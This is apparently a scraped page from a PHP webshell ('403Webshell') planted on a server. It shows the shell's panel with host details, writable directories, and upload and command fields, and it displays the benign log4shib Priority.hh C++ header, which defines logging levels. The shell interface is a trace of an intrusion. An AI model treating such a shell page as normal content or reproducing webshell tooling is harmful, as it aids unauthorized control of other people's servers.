403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/log4shib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/log4shib/Priority.hh
/*
 * Priority.hh
 *
 * Copyright 2000, LifeLine Networks BV (www.lifeline.nl). All rights reserved.
 * Copyright 2000, Bastiaan Bakker. All rights reserved.
 *
 * See the COPYING file for the terms of usage and distribution.
 */

#ifndef _LOG4SHIB_PRIORITY_HH
#define _LOG4SHIB_PRIORITY_HH

#include <log4shib/Portability.hh>
#include <string>
#include <stdexcept>

/*
 * Optionally work around rudeness in windows.h on Win32.
 */
#ifdef ERROR
#ifdef LOG4SHIB_FIX_ERROR_COLLISION

namespace log4shib {
    static const int _tmpERRORValue = ERROR;
}

#undef ERROR
    static const int ERROR = log4shib::_tmpERRORValue;
#define ERROR ERROR

#else  // LOG4SHIB_FIX_ERROR_COLLISION
#error Naming collision for 'ERROR' detected. Please read the FAQ for a \
       workaround. 
#endif // LOG4SHIB_FIX_ERROR_COLLISION 

#endif // ERROR

/*
 * Other Win32 rudeness in EDK.h
 */
#ifdef DEBUG

#ifdef LOG4SHIB_FIX_ERROR_COLLISION

#undef DEBUG
#define DEBUG DEBUG

#else  // LOG4SHIB_FIX_ERROR_COLLISION
#error Naming collision for 'DEBUG' detected. Please read the FAQ for a \
       workaround. 
#endif // LOG4SHIB_FIX_ERROR_COLLISION 

#endif // DEBUG


namespace log4shib {

    /**
     * The Priority class provides importance levels with which one
     * can categorize log messages.
     **/
    class LOG4SHIB_EXPORT Priority {
        public:

        /**
         * Predefined Levels of Priorities. These correspond to the
         * priority levels used by syslog(3).
         **/
        typedef enum {EMERG  = 0, 
		      FATAL  = 0,
                      ALERT  = 100,
                      CRIT   = 200,
                      ERROR  = 300, 
                      WARN   = 400,
                      NOTICE = 500,
                      INFO   = 600,
                      DEBUG  = 700,
                      NOTSET = 800
        } PriorityLevel;

        /**
         * The type of Priority Values
         **/
        typedef int Value;

        /**
         * Returns the name of the given priority value.
         * Currently, if the value is not one of the PriorityLevel values,
         * the method returns the name of the largest priority smaller 
         * the given value.
         * @param priority the numeric value of the priority.
         * @returns a string representing the name of the priority.
         **/
        static const std::string& getPriorityName(int priority) throw();
	
	/**
	 * Returns the value of the given priority name. 
	 * This can be either one of EMERG ... NOTSET or a 
	 * decimal string representation of the value, e.g. '700' for DEBUG.
	 * @param priorityName the string containing the the of the priority
	 * @return the value corresponding with the priority name
	 * @throw std::invalid_argument if the priorityName does not 
	 * correspond with a known Priority name or a number
	 **/
        static Value getPriorityValue(const std::string& priorityName)
	throw(std::invalid_argument);
    };
}

#endif // _LOG4SHIB_PRIORITY_HH

Youez - 2016 - github.com/yon3zu
LinuXploit